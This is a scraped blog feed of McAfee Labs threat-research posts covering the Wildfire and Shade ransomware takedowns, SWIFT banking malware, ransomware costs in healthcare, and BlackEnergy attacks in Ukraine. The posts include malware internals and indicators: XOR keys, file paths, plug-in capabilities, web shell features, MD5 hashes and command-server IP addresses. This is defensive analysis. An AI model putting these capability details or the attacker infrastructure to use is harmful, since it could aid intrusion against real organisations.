
20160823 Wildfire 3

Wildfire campaign overview.

We see from this overview that in the last 31 days the campaign has infected 5,309 systems and earned total revenue of about BTC136 (€70,332). Not a bad “paycheck” for a month.

When we look at the “clients” page, we see details of the amount of encrypted files, their BTC address, files encrypted, and country:

ID UID Country BTCaddress BTCamount Filecount Paidstatus
1 a5***** BE 1J*************** 0.6 11673 0
2 aa***** NL 1F*************** 0.5 1469031280 0
3 fd***** BE 1H*************** 0.6 68595 0
4 08***** NL ZC*************** 0.5 1469079732 0
5 05**** NL GH************** 0.5 1469605876 0

Overview of victims’ file data.

A table marked as RID with the value “aff_001” might indicate an affiliate program, in which “aff_001” could stand for “Affiliate_001.”

When we take a closer look at the source code of the control server, we see some indicators that make us believe Wildfire is an affiliate-based ransomware-as-a-service (RaaS). The index.php page of the server contains a comment in Russian:

20160823 Wildfire 4

Russian comments on the control server.

The Cyrillic text “исправить таймер” means “fix timer” and refers to the timer function of the ransomware. Another indicator in the config file of the source code is a list of exempted countries. Wildfire will not encrypt victims from certain countries.

20160823 Wildfire 5

Exempted countries in Eastern Europe.

This list is a strong indicator that we are dealing with an Eastern European group. This is not surprising; we have seen this behavior with many other ransomware variants, including CryptoWall.

We would not be surprised if Wildfire is indeed an example of RaaS. The malware shows a very close resemblance to the ransomware variant Zyklon. Another possible giveaway is the difference between the source code found on the control server and the very specific Dutch/Belgium infection vectors found in the spam mails. They are too far apart in language to come from the same actor group. It is worrisome to see large-scale extortion by ransomware made easily available to so many criminals.

Today, however, the victims of Wildfire no longer have to face the difficult choice of either paying criminals or sacrificing their data. The availability of this decryption tool allows victims to reclaim their data without having to pay anyone. The initial tool includes 1,600 keys for Wildfire and more will be added in the near future. The is another result of the NoMoreRansom public-private partnership.

The post ‘Wildfire’ Ransomware Extinguished by Tool From NoMoreRansom; Unlock Files for Free appeared first on McAfee Blogs.

]]>
McAfee Teams With Industry, Law Enforcement to Thwart ‘Shade’ Ransomware https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-teams-industry-law-enforcement-thwart-shade-ransomware/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-teams-industry-law-enforcement-thwart-shade-ransomware/#respond Mon, 25 Jul 2016 09:00:12 +0000 https://blogs.mcafee.com/?p=51474 McAfee, Europol, Kaspersky Lab, and Dutch police have taken down the Shade ransomware botnet and captured encryption keys to unlock victims’ systems. Although we talk a great deal of the value of public-private partnerships in the fight against cybercrime, few events in the cybersecurity field are more inspiring than seeing such collaboration in action and scoring […]

The post McAfee Teams With Industry, Law Enforcement to Thwart ‘Shade’ Ransomware appeared first on McAfee Blogs.

]]>
McAfee, Europol, Kaspersky Lab, and Dutch police have taken down the Shade ransomware botnet and captured encryption keys to unlock victims’ systems.

Although we talk a great deal of the value of public-private partnerships in the fight against cybercrime, few events in the cybersecurity field are more inspiring than seeing such collaboration in action and scoring wins.

Today, McAfee announces a collaborative victory with Europol, Kaspersky Lab, and the Dutch police’s National High Tech Crime Unit (NHTCU). Together these players have successfully taken down the control servers operating the Shade ransomware. Furthermore, McAfee and Kaspersky Lab have leveraged cryptographic keys captured in the takedown to develop decryption tools capable of unlocking systems infected by the ransomware. These tools are available free of charge as a part of the “No-More-Ransom” project, an initiative to share ransomware threat intelligence, coordinate malware campaign takedowns, educate users on how to protect themselves, report ransomware attacks, and provide tools to unlock infected systems.

The Shade ransomware first appeared in late 2014, infecting users across Eastern and Central Europe through malicious websites and infected email attachments. The respective McAfee and Kaspersky Lab tools will provide relief to users infected with Versions 1 or 2 of the Shade malware. The McAfee tool can be downloaded at http://www.mcafee.com/us/downloads/free-tools/shadedecrypt.aspx.

“This initiative shows the value of public-private cooperation in taking serious action in the fight against cybercrime,” said Raj Samani, EMEA CTO for McAfee. “This collaboration goes beyond intelligence sharing, consumer education, and takedowns to help repair the damage inflicted upon victims. By restoring access to their systems, we empower users by showing them they can take action and avoid rewarding criminals with ransom payments.”

After slowing slightly in mid-2015, ransomware overall regained its rapid growth rate. According to the June 2016 McAfee Labs Threats Report, total ransomware grew 116% year-over-year for the period ending March 31. Total ransomware rose 26% from Q4 2015 to Q1 2016 as lucrative returns continued to draw relatively low-skilled criminals. An October 2015 Cyber Threat Alliance analysis of the CryptoWall V3 ransomware hinted at the financial scale of such campaigns. The researchers linked just one campaign’s operations to $325 million in victims ransom payments.

 

For more information on the No-More-Ransom initiative, please visit www.nomoreransom.org.

For more information on how users can protect themselves from ransomware in general, please visit Ransomware and You.

More information on ransomware can be found at www.mcafee.com/ransomware.

The post McAfee Teams With Industry, Law Enforcement to Thwart ‘Shade’ Ransomware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-teams-industry-law-enforcement-thwart-shade-ransomware/feed/ 0
Attacks on SWIFT Banking System Benefit From Insider Knowledge https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/#respond Fri, 20 May 2016 16:10:55 +0000 https://blogs.mcafee.com/?p=49794 In recent months, we’ve seen headlines about the compromise of a bank in Bangladesh from which cybercriminals attempted to steal US$951 million. The malware they used was able to manipulate and read unique messages from SWIFT (Society for Worldwide Interbank Financial Telecommunication), as well as adjust balances and send details to a remote control server. […]

The post Attacks on SWIFT Banking System Benefit From Insider Knowledge appeared first on McAfee Blogs.

]]>
In recent months, we’ve seen headlines about the compromise of a bank in Bangladesh from which cybercriminals attempted to steal US$951 million. The malware they used was able to manipulate and read unique messages from SWIFT (Society for Worldwide Interbank Financial Telecommunication), as well as adjust balances and send details to a remote control server. BAE Systems wrote a detailed analysis and concluded that the malware must be based on a framework of different modules that could be used for multiple targets.

This week SWIFT sent another warning without details about another bank, this time in Vietnam that was compromised. According to a bank spokesperson, they detected in a timely manner the fraudulent transfer of $1.13 million in December 2015. Because we know the attackers had some insight into the Bangladesh attack, McAfee assumed the attackers also knew something beforehand about the Vietnamese bank. We investigated possible malware indicators for the latter attack.

Files used for the investigation:

  • MD5: 0b9bf941e2539eaa34756a9e2c0d5343
  • MD5: 909e1b840909522fe6ba3d4dfd197d93

We focused our analysis primarily on the first sample. The file’s compile timestamp is 2015-12-04 02:04:23. The first submission of the file from Vietnam was on December 22, 2015.

In the case of the Vietnamese bank, the file used for the attack is a fake version of the popular PDF reader Foxit. The malware installs itself in the original Foxit installation directory and renames the original file to FoxltReader.exe.

Once the user starts using the fake reader, the malware executes and writes to a log file in the temp directory C:\\Windows\temp\\WRTU\ldksetup.tmp. Analyzing this file, we see the log data is XOR encoded using the value 0x47.

20160520 SWIFT 1

As in the case of the Bangladeshi bank, the malware uses the configuration file Lmutilps32.dat, which can also be found in C:\\Windows\\temp\WRTU\. This file is also XOR encoded, with the value 0x7C4D5978.

Was this malware part of a targeted attack? Yes, absolutely. As in the malware used against the Bangladeshi bank, we found the SWIFT code for the target in multiple places in the malware:

20160520 SWIFT 2

The code TPBVVNVX is the SWIFT code for the Tienphong Commercial Joint Stock Bank, in Hanoi.

We also noticed that there were more SWIFT codes in the code:

20160520 SWIFT 3

These banks are based in Australia, Singapore, Japan, Korea, Vietnam, Italy, and the United States. We wondered why the actors would put this particular list in the malware. Further analyzing the working of the malware, we discovered an interesting part in the code concerning ”Executing the real Foxit reader” and the next section in the code states “PDFmodulation success. …” This hints of the manipulation of PDF files.

20160520 SWIFT 4

In the code, we found that the malware uses the original driver fpdsdk.dll from the Foxit SDK to execute the transformation of the files.

We discovered functionality in the code that converts PDF files to XML files, which are stored in the folder C:\Documents and Settings\Test\Local Settings\Temp\. The filenames start with XXX or RSP followed by a value between 0-F and finish with the extension .tmp.

Let’s return to our list of SWIFT codes of other banks. The malware reads the SWIFT messages and checks if the sender of the message is one of the listed banks. Once it finds these messages, it reads their information:

20160520 SWIFT 5

The malware can manipulate these messages: deleting transactions, transaction history, and system logs, and prevent the printing of the fraudulent transactions:

20160520 SWIFT 6

As in the Bangladeshi attack, we found some typos:

  • Bangladesh: “fandation” instead of “foundation” and “alreay” instead of “already”
  • Vietnam: “FilleOut” instead of “FileOut”

20160520 SWIFT 7

Does this analysis tell us anything about the actors? It might, but these details form a weak indicator. How easy is it to misspell some words on purpose to mislead investigators?

 

Conclusion

In both attacks we can see that the attackers have done their reconnaissance properly and may have used an insider to get the details they needed to prepare their attacks. In the Bangladeshi case, for example, the malware samples are tuned to the environment and how the banking system operates, including the supported software, databases, and printer. In the Vietnamese case, the malware is also tuned to fit the environment. The attackers knew that the bank used Foxit and replaced it with a fake version. The attackers have a very good understanding of the SWIFT messaging system and how to manipulate the system to prevent the detection of their fraudulent attempts of transferring the money. The malware in each attack was compiled just before the attack happened.

Although both attacks were discovered at some point during the attempts to transfer large amounts of money, the actors may well have executed a few test runs to check their operations before the real attacks.

The operation in Vietnam happened in December 2015 and was discovered after an investigation of the incident in February 2016 in Bangladesh. The Vietnamese attack was reported to the banking world in May 2016. Would logs still be available for an incident that happened about six months ago? Would the possible test runs be traceable? These are some of the many questions that arise. One lesson from both cases is that when a fraud alert is triggered by either an internal system or by transaction authorities, a thorough analysis— including an in-depth analysis of the malware—of the tactics and procedures used by the attackers is needed. In this case, investigators can share indicators such as MD5 sums, but because the attackers have customized their malware, sharing would be of little value. On the other hand, sharing the methods used by the attackers, the inner working of the malware, and its manipulation of the systems should teach us where to look and adapt our defenses.

 

The post Attacks on SWIFT Banking System Benefit From Insider Knowledge appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/attacks-swift-banking-system-benefit-insider-knowledge/feed/ 0
Healthcare Organizations Must Consider The Financial Impact Of Ransomware Attacks https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/healthcare-organizations-must-consider-financial-impact-ransomware-attacks/ https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/healthcare-organizations-must-consider-financial-impact-ransomware-attacks/#respond Thu, 21 Apr 2016 13:00:46 +0000 https://blogs.mcafee.com/?p=49040 Sometimes the impact of an attack can extend well beyond the attack itself. McAfee’s five-year threats projection report predicted that ransomware would become a major growth area, given higher ransom “returns” achievable from organizations suffering the potential loss from paralyzed organizational systems. By Q1 of 2016, these predictions have already come true. From February onward […]

The post Healthcare Organizations Must Consider The Financial Impact Of Ransomware Attacks appeared first on McAfee Blogs.

]]>
Sometimes the impact of an attack can extend well beyond the attack itself.

McAfee’s five-year threats projection report predicted that ransomware would become a major growth area, given higher ransom “returns” achievable from organizations suffering the potential loss from paralyzed organizational systems. By Q1 of 2016, these predictions have already come true. From February onward this year, press headlines have revealed that numerous healthcare organizations in the United States and around the world have been hit by ransomware attacks. In some cases, these attacks were random instances of individual systems falling prey to commoditized ransomware. But in multiple instances, the attacks were targeted (see https://securingtomorrow.mcafee.com/mcafee-labs/targeted-ransomware-no-longer-future-threat). And in at least one case, a healthcare organization chose to pay the ransom.

It’s notable that the healthcare vertical — the sector that arguably holds the most extensive and non-changeable stores of our most personal, intimate data — arguably possesses one of the poorest track records for cyberattack preparedness. This poor reputation for preparedness has earned medical clinics, hospitals, and insurance providers the “soft target” label. But as in other industries, an assessment of vertical-specific cyberattack costs can lead to better IT security investments and more effective organizational processes that “harden” these targets.

Besides the paid ransom, what can be said about the other costs that are related to these attacks? Some of the major areas we should examine include:

  • Lost or stolen record(s) costs
  • Downtime costs
  • Incident response and audit/assessment services

A great resource for gauging the value of breaches is the 2015 Ponemon Institute’s Cost of Data Breach study. The report assesses the differences in cost per stolen or lost record by industry, including a healthcare industry approximation of $363 per record.

Healthcare organizations face particularly high stakes in dealing with ransomware because disruptions in availability can jeopardize the core mission of the organization. Surgeries and appointments will be delayed, lab results will take longer, and patients will have to travel to other facilities — all inconvenient results of systems that were impacted.

Sometimes the impact of a ransomware attack can extend well beyond the attack itself. A study conducted by the AC Group concerning downtime cost calculations of electronic healthcare records gives us an indication. The study assessed several cyberattack factors, including the additional time spent to perform tasks manually and to update records after the systems were up again. The study established an average cost of $488 per hour per physician.

Not every healthcare organization can afford a dedicated incident-response team or an IT security team that executes ongoing assessments of the organization’s assets and applications. The reality is that most healthcare organizations hire an external company for these services after a breach.

Case In Point

Let’s review an example in which a healthcare organization suffered a ransomware outbreak that affected a small number of endpoints and some network data.

The type of breach, extent of damage, and management focus shape the nature and scope of the incident-response engagement. In a ransomware case, the organization would be most interested in determining the scope of the incident (how widespread it is), which systems are targeted, which files are encrypted, and how the attacker breached the organization.

A team of two incident-response consultants onsite with remote expertise support, management overhead, and reporting will easily require a 10-day assignment. Based on our experience, that effort would result in an engagement of $75,000 to $90,000 per incident response. In the case of a compromised application or asset, an audit/assessment would be required, as well as another quick check once the fix was complete. That would easily cost another $20,000 to $25,000.

The following table is a rough approximation of the additional cost and damages for an organization in this scenario.

Sources:McAfee analysis; Ponemon Institute’s Cost of Data Breach study; Modern Healthcare’s annual Hospital Systems Survey.

However, this table shows an incomplete list of costs. On top of these operational impacts are considerations that could include:

  • Possibly paid ransom
  • Legal costs
  • Notification costs
  • Restoring impacted assets costs
  • Internal/external communications costs
  • Overtime costs for IT personnel
  • Damage to reputation and brand
  • Regulatory penalties and fines
  • Increased compliance and audit costs
  • Lost trust from patients

A ransomware incident as we have described can easily result in a total cost between $700,000 and $1.5 million, depending on the size of the hospital, the impact of ransomware, and whether backups were available.

The Ponemon research notes factors that lower the cost per stolen, lost, or encrypted record. For example, organizations can lower the cost per record by $5.50 by engaging the organization’s board in an effort to prepare for potential attacks. Cybersecurity insurance also appears to reduce damage per record by $4.40. And although few healthcare organizations have budgets for their own dedicated incident-response teams, the engagement of “shared” incident-response teams appears to lower the financial impact by $12.60 per record.

Healthcare organizations should take information security as seriously as they take their mission to provide patients the best possible care. Securing information must have the highest priority so that threats such as ransomware cannot impact the availability of critical systems.

View the original post on Dark Reading.

The post Healthcare Organizations Must Consider The Financial Impact Of Ransomware Attacks appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/executive-perspectives/healthcare-organizations-must-consider-financial-impact-ransomware-attacks/feed/ 0
Targeted Ransomware No Longer a Future Threat https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/targeted-ransomware-no-longer-future-threat/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/targeted-ransomware-no-longer-future-threat/#respond Tue, 01 Mar 2016 17:38:04 +0000 https://blogs.mcafee.com/?p=47835 This post was written by Christiaan Beek and Andrew Furtak. In 2015, McAfee investigated a ransomware campaign that targeted the financial sector of a certain country. This was the first time we had observed ransomware targeting a particular sector. The infection vector in that case involved a phishing campaign directed at multiple financial institutions. During […]

The post Targeted Ransomware No Longer a Future Threat appeared first on McAfee Blogs.

]]>
This post was written by Christiaan Beek and Andrew Furtak.

In 2015, McAfee investigated a ransomware campaign that targeted the financial sector of a certain country. This was the first time we had observed ransomware targeting a particular sector. The infection vector in that case involved a phishing campaign directed at multiple financial institutions.

During recent weeks, we have received information about a new campaign of targeted ransomware attacks. This time the attackers compromised an external-facing server and used that access to move around the victim’s network. By separating functions that are usually present in ransomware, the adversaries attempted to avoid detection as much as possible.

The stages of this attack included leveraging access to the external system to gain access to many other systems on the internal network. A series of scripts and tools deleted the volume shadow copies and unlock files that were in use, thereby maximizing the impact and thwarting attempts to restore data. Before the actual encryption started, the ransomware divided the candidate files into categories based on size and encrypted the smallest files first. We assume this was to maximize the number of impacted files, even if the process was shut down before it completed. After the files were encrypted, a ransom note was left on the desktop. The note demanded Bitcoins in exchange for the decryption tool and private key to decrypt each of the files.

A more detailed account of our analysis (combining information from organizations across McAfee) can be found in the technical report Targeted Ransomware No Longer a Future Threat.

This post and the linked technical report are intended to provide a summary of a current threat. If you need assistance, the McAfee Foundstone Services team offers a full range of incident response, strategic, and technical consulting services that can further help to ensure you identify security risks and build effective solutions to remediate security vulnerabilities.

The post Targeted Ransomware No Longer a Future Threat appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/targeted-ransomware-no-longer-future-threat/feed/ 0
Ransomware Targets Healthcare Sector https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-targets-healthcare-sector/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-targets-healthcare-sector/#respond Mon, 15 Feb 2016 15:07:33 +0000 https://blogs.mcafee.com/?p=47578 When we develop threats predictions at McAfee, I personally like to conduct some proper research and base my statements on indicators of what we have seen in the field and what we believe will increase in the next six to 12 months. In the McAfee Labs 2016 Threats Predictions, we stated that ransomware would increase. […]

The post Ransomware Targets Healthcare Sector appeared first on McAfee Blogs.

]]>
When we develop threats predictions at McAfee, I personally like to conduct some proper research and base my statements on indicators of what we have seen in the field and what we believe will increase in the next six to 12 months.

In the McAfee Labs 2016 Threats Predictions, we stated that ransomware would increase. Just six weeks into the year, we have seen massive campaigns spreading new versions of TeslaCrypt and CryptoWall Version 4. Also we have seen multiple new sites surfacing that employ ransomware-as-a-service—offering the easy creation of ransomware and tracking the payments of victims.

For some of our predictions, we wish they would not result in a real-world attack. Unfortunately, that’s not the case. The second part of our ransomware predictions was that targeted attacks with ransomware would harass certain sectors.

This week we learned that a hospital in Hollywood, California, was impacted by a ransomware campaign. Their network was down for more than a week along with the loss of email and patient data. Normally cybercriminals ask between US$200 and $500 to restore files. In this particular case, however, they demanded $3.6 million, a possible indicator of a ransomware campaign that was not at all random. Other sources reported more healthcare victims of ransomware this week.

In hospitals, computers from different departments are interconnected and share the data from patients, x-rays and CT scans. These systems are often not segmented in different networks or security zones. The moment the data on these systems is encrypted by ransomware, daily operations come to a halt because parts of the chain are no longer available. Not only ransomware, but also a random malware infection can cause a lot of damage. When working with McAfee’s Foundstone incident response team, I remember a few cases in which we had malware infections in hospitals around the globe. The biggest challenge we had was to clean medical devices, usually running an old version of an embedded operating system. We sometimes ended up with command-line tools and custom configuration files to clean those devices of malware.

Not all hospitals have the budget for a dedicated information security staff to secure and monitor the network. The priority is to keep the systems available 24/7/365. However, some basic security principles concerning network architecture and protecting sensitive data (including backups) should be in place.  For example, medical devices with an embedded outdated operating system should never be allowed to connect to the Internet. They belong in a segmented and separated network zone, dedicated to a hospital department and with access rules that regulate their connection between these zones.

The post Ransomware Targets Healthcare Sector appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ransomware-targets-healthcare-sector/feed/ 0
A Case of Mistaken Identity? The Role of BlackEnergy in Ukrainian Power Grid Disruption https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/blackenergy_ukrainian_power_grid/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/blackenergy_ukrainian_power_grid/#respond Fri, 05 Feb 2016 22:20:36 +0000 https://blogs.mcafee.com/?p=47431 Recent reports of electricity outages across the Ukraine has led to significant speculation regarding the specific malware that was used to disrupt supplies. McAfee’s approach in understanding this event included making contact with the impacted organization to offer our support and, where possible, retrieving data in order to analyze the true nature of the threat. […]

The post A Case of Mistaken Identity? The Role of BlackEnergy in Ukrainian Power Grid Disruption appeared first on McAfee Blogs.

]]>
Recent reports of electricity outages across the Ukraine has led to significant speculation regarding the specific malware that was used to disrupt supplies. McAfee’s approach in understanding this event included making contact with the impacted organization to offer our support and, where possible, retrieving data in order to analyze the true nature of the threat. In this case the impacted organization allowed us to publicly share our findings to benefit the entire industry. Researchers from the Advanced Programs Group (APG) team within mcAfee were able to analyze multiple samples that were used in an attack, raising questions regarding the role of BlackEnergy in disrupting the supply of electricity. We would also like to acknowledge the support we were provided in the technical investigation of our partner BAKOTECH Group.

This post builds upon our initial blog posting that detailed the historical evolution of BlackEnergy.

It begins with a phish

Our malware “zoo” within McAfee Labs contains a wealth of data that can be used to identify the reuse of tools in a particular attack. In this instance we cross-referenced the initial dropper and collected samples that were used by infected systems. This was absolutely necessary because the criminal infrastructure used to host the second malware instance was offline when our analysis began. As we began, we identified a number of similarities with previous campaigns that targeted the energy sector.

In March 2015, an email appearing to be from the Supreme Council of Ukraine (Verkhovna Rada of Ukraine) was sent to multiple state institutions in the country. One of the targets in this campaign was a power company situated in the western part of the Ukraine. The spear-phishing email contained an XLS attachment with a macro in it.

Picture1

Once the document was opened, a macro was executed, the BlackEnergy dropper was created, and the dropper started to download the final BlackEnergy 2/3 version.

One of the interesting email artifacts was a part of the SMTP header that pointed into an IP address and name of the mail server used to spread the spear-phishing emails.

We received information that, once the attackers were in the network, they compromised a web server and used it as a beachhead for entering a segment of the company’s network. The attackers were using tools that are freely available on the Internet for download, including web shells, tunneling tools, and SSH server tools.

If we compare the previous attack with the BlackEnergy attack on the grid reported in December, we can recognize a number of similarities. First, the attack vector is exactly the same, namely a spear-phishing campaign.  An example of the content of the email follows:

Picture2

The attachment was a weaponized Excel worksheet containing a dropper. Once launched, the payload was downloaded from a site hosted in the Ukraine.

We investigated the SMTP headers in this case and found that the attack in December leveraged a mail server with the same IP address and name as a server used in the previously described campaign in March. The energy sector was one of the targets in both campaigns.

Besides these files, we received also a package of suspicious files for analysis. These files were part of a web template system called Synio. The Synio template is part of the LiveStreet Content Management System (CMS). Livestreet is a Russian site that allows for the free download of engines for blogging and social networking. We do not know whether these files were related to the spear-phishing campaign or part of lateral movement. However, we noticed references to the Synio template being used on the server that hosted the payload for the dropper: “8080/templates/compiled/synio/…” One of the files in the templates was definitely not part of normal content management.

After analysis of this php file, we determined that it was a php web shell.

Picture3

These WSO web shells are often used after compromising a server to maintain access. They usually support multiple modules with a variety of features. In this case the shell included the following modules:

  • Console
  • SQL Manager
  • Support for Windows and Linux OS
  • Server information
  • File manager
  • Editing, modifying files
  • SQL console
  • PHP console
  • Network analysis tools

Access to the web shell was secured with an easy-to-crack MD5 password.

One interesting feature was the “search for hash option”—in which discovered hashes could be sent to certain sites that might have cracked the value for these hashes:

Picture4

For both the March and December attacks, there are some similarities:

  • Spear phishing using weaponized Office documents.
  • Email sender is using a valid “info” addressee in the Ukraine.
  • Same mail provider and server used.
  • The usage of common backdoor tools.
  • Sophistication of attacks was low.

The use of BlackEnergy for espionage is not new, but prior to the December attack, there has been no evidence that prior campaigns used BlackEnergy for more than stealing confidential information from a victim organization. Although the latest attack included a wiper component, we did not find any evidence that this malware specifically targeted SCADA systems. Therefore, it appears unlikely that the BlackEnergy malware was the direct cause of the outage. It is unclear if a single actor both controlled BlackEnergy and also issued a coordinated shutdown of the electrical system.

Meanwhile, the spear-phishing campaigns in Ukraine appear to have continued into January 2016, using Word documents instead of Excel. Although our information does not yet point to a clear cause, additional details are emerging and our analysis is ongoing. We have greater confidence that the follow-up phishes were from the same group, than that this group was responsible for the availability disruption. Not only does this attack show the same modus operandi but is more aligned with the level of technical sophistication that we have seen with BlackEnergy. We are continuing our analysis as we receive more samples and will provide more detail in due course.

The post A Case of Mistaken Identity? The Role of BlackEnergy in Ukrainian Power Grid Disruption appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/blackenergy_ukrainian_power_grid/feed/ 0
Updated BlackEnergy Trojan Grows More Powerful https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/#respond Thu, 14 Jan 2016 18:33:30 +0000 https://blogs.mcafee.com/?p=47010 In late December, a cyberattack caused a power outage in the Ukraine, plunging hundreds of thousands of citizens into darkness for hours. Threat researchers soon confirmed that the BlackEnergy malware package, first developed in 2007, was the culprit. They also discovered that the malware has been significantly upgraded since its first release. The initial BlackEnergy […]

The post Updated BlackEnergy Trojan Grows More Powerful appeared first on McAfee Blogs.

]]>
In late December, a cyberattack caused a power outage in the Ukraine, plunging hundreds of thousands of citizens into darkness for hours. Threat researchers soon confirmed that the BlackEnergy malware package, first developed in 2007, was the culprit. They also discovered that the malware has been significantly upgraded since its first release.

The initial BlackEnergy was a simple Trojan with distributed denial of service capabilities. Since then, there have been two upgrades.

BlackEnergy 2

In 2010, BlackEnergy 2 appeared. In that development cycle, the authors completely rewrote the code and began to incorporate a more professional approach. For example, they implemented a rudimentary installer that made it simpler to use BlackEnergy.

With the growth in BlackEnergy 2’s popularity, the authors decided that they needed to add additional features and provide BlackEnergy with a more modular framework. In 2011, they added UAC bypass installers. This method allowed BlackEnergy 2 to gain elevated code execution privileges using the framework Microsoft provides to help legacy applications work with newer versions of Windows. One of BlackEnergy 2’s most impressive features was released in 2013 with the support of 64-bit drivers.

BlackEnergy 3

In the second quarter of 2014, F-Secure was the first to report a new variant of BlackEnergy. This variant no longer uses many of the features of BlackEnergy 2.

Each major release has seen an almost complete rewrite of the code. BlackEnergy 3 has more advanced features than its predecessors and is more cleanly developed. The new release does not have a driver, the build ID format is a timestamp, and it has many advanced protection mechanisms. These internal protections include defenses against virtual environments, antidebugging methods, and continued checks throughout the code that will kill the program if it detects other security functions or countermeasures. What stands out about Black Energy 3 are the variety of plug-ins it incorporates:

BlackEnergy 3 plug-ins*:

  • fs.dll — File system operations
  • si.dll — System information, “BlackEnergy Lite”
  • jn.dll — Parasitic infector
  • ki.dll — Keylogger
  • ps.dll — Password stealer
  • ss.dll — Screenshots
  • vs.dll — Network discovery, remote execution
  • tv.dll — Team viewer
  • rd.dll — Simple pseudo “remote desktop”
  • up.dll — Update malware
  • dc.dll — List Windows accounts
  • bs.dll — Query system hardware, BIOS, and Windows info
  • dstr.dll — Destroy system
  • scan.dll — Network scan

These plug-ins are critical and powerful features in BlackEnergy 3 that make it a “go-to” tool for both crimeware and state-sponsored actors.

The Ukrainian critical infrastructure attack was initially seen as politically driven. Indeed, the use of BlackEnergy 3 could well be a cover for a targeted manual attack in an effort to disrupt availability.  However, at this point in the analysis, attributing the attack to a group or actor is premature.

Based on its functionality, BlackEnergy 3 could certainly be used by state-sponsored groups as it allows these actors to hide among other crimeware groups known to use BlackEnergy variants. Tradecraft is often shared and many actors like to impersonate other actors in efforts to hide their true affiliations and sponsorships.

This is in stark contrast to Stuxnet, which first captured headlines in 2010. Examination of the Stuxnet code by threat researchers revealed that the authors needed unique domain knowledge to execute it in a specific environment and that only state-sponsored groups likely had the insight and capability to create this malicious piece of code.

At the end of this post you will find all of the MD5 hashes associated with BlackEnergy in 2015. McAfee products provide full coverage for all hashes listed.

Several of the malicious binaries used in these attacks contain fake Microsoft digital certificates. The process of code signing is used to authenticate the software’s author and guarantee that the code has not been altered or corrupted since it was signed. Faking the code signing process reduces trust in this system and is indicative of a higher level of adversary involvement. Such techniques have been used by many actors and advanced-threat groups, but it is still too early to attribute this attack to any group or actor.

We would like to thank McAfee Advanced Programs Group for their support in the development of this analysis.

 

MD5 hashes associated with BlackEnergy 3 in 2015:

Binaries allegedly associated with Ukraine attack:

c2fb8a309aef65e46323d6710ccdd6ca
2cae5e949f1208d13150a9d492a706c1
ed55997aada076dc61e20e1d1218925a
60d3185aff17084297a2c4c2efdabdc9
7361b64ddca90a1a1de43185bd509b64
97d6d1b36171bc3eafdd0dc07e7a4d2d
72bd40cd60769baffd412b84acc03372
97b41d4b8d05a1e165ac4cc2a8ac6f39
979413f9916e8462e960a4eb794824fc
956246139f93a83f134a39cd55512f6d
d98f4fc6d8bb506b27d37b89f7ce89d0
66676deaa9dfe98f8497392064aefbab
8a40172ed289486c64cc684c3652e031
cd1aa880f30f9b8bb6cf4d4f9e41ddf4
0af5b1e8eaf5ee4bd05227bf53050770
1d6d926f9287b4e4cb5bfc271a164f51
e60854c96fab23f2c857dd6eb745961c

Other BlackEnergy binaries:

97b7577d13cf5e3bf39cbe6d3f0a7732
18e7885eab07ebfb6d1c9303b992ca21
66b96dcef158833027fcf222004b64d8
03e9477f8da8f6f61b03a01d5a38918f
0d2022d6148f521c43b9573cd79ead54
1e439a13df4b7603f5eb7a975235065e
a0b7b80c3c1d9c1c432a740fa17c6126
dcf6906a9a0c970bcd93f451b9b7932a
973e0c922eb07aad530d8a1de19c7755
557f8d4c6f8b386c32001def807dc715
fffeaba10fd83c59c28f025c99d063f8
0037b485aa6938ba2ead234e211425bb
abeab18ebae2c3e445699d256d5f5fb1

BlackEnergy 3 IP addresses:

109.236.88.12
124.217.253.10
146.0.74.7
184.22.205.194
188.128.123.52
188.227.176.74
188.40.8.72
194.28.172.58
212.124.110.62
212.175.109.10
31.210.111.154
37.220.34.56
46.165.222.101
46.165.222.28
46.165.222.6
46.4.28.218
5.149.254.114
5.255.87.39
5.61.38.31
5.79.80.166
5.9.32.230
78.46.40.239
84.19.161.123
85.17.94.134
88.198.25.92
89.149.223.205
93.170.127.100
94.185.85.122
95.143.193.182
95.211.122.36

 

The post Updated BlackEnergy Trojan Grows More Powerful appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/updated-blackenergy-trojan-grows-more-powerful/feed/ 0
Blockchain Transactions Create Risks for Financial Services https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/blockchain-transactions-create-risks-financial-services/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/blockchain-transactions-create-risks-financial-services/#respond Thu, 17 Dec 2015 00:36:35 +0000 https://blogs.mcafee.com/?p=46674 This post was written by Raj Samani and Christiaan Beek of McAfee , and Shane D. Shook, PhD. Trust is the most valuable commodity in the digital age. Failure to trust the systems or organizations in which we place our digital assets leads us to look at alternate providers, or to withdraw entirely from a […]

The post Blockchain Transactions Create Risks for Financial Services appeared first on McAfee Blogs.

]]>
This post was written by Raj Samani and Christiaan Beek of McAfee , and Shane D. Shook, PhD.

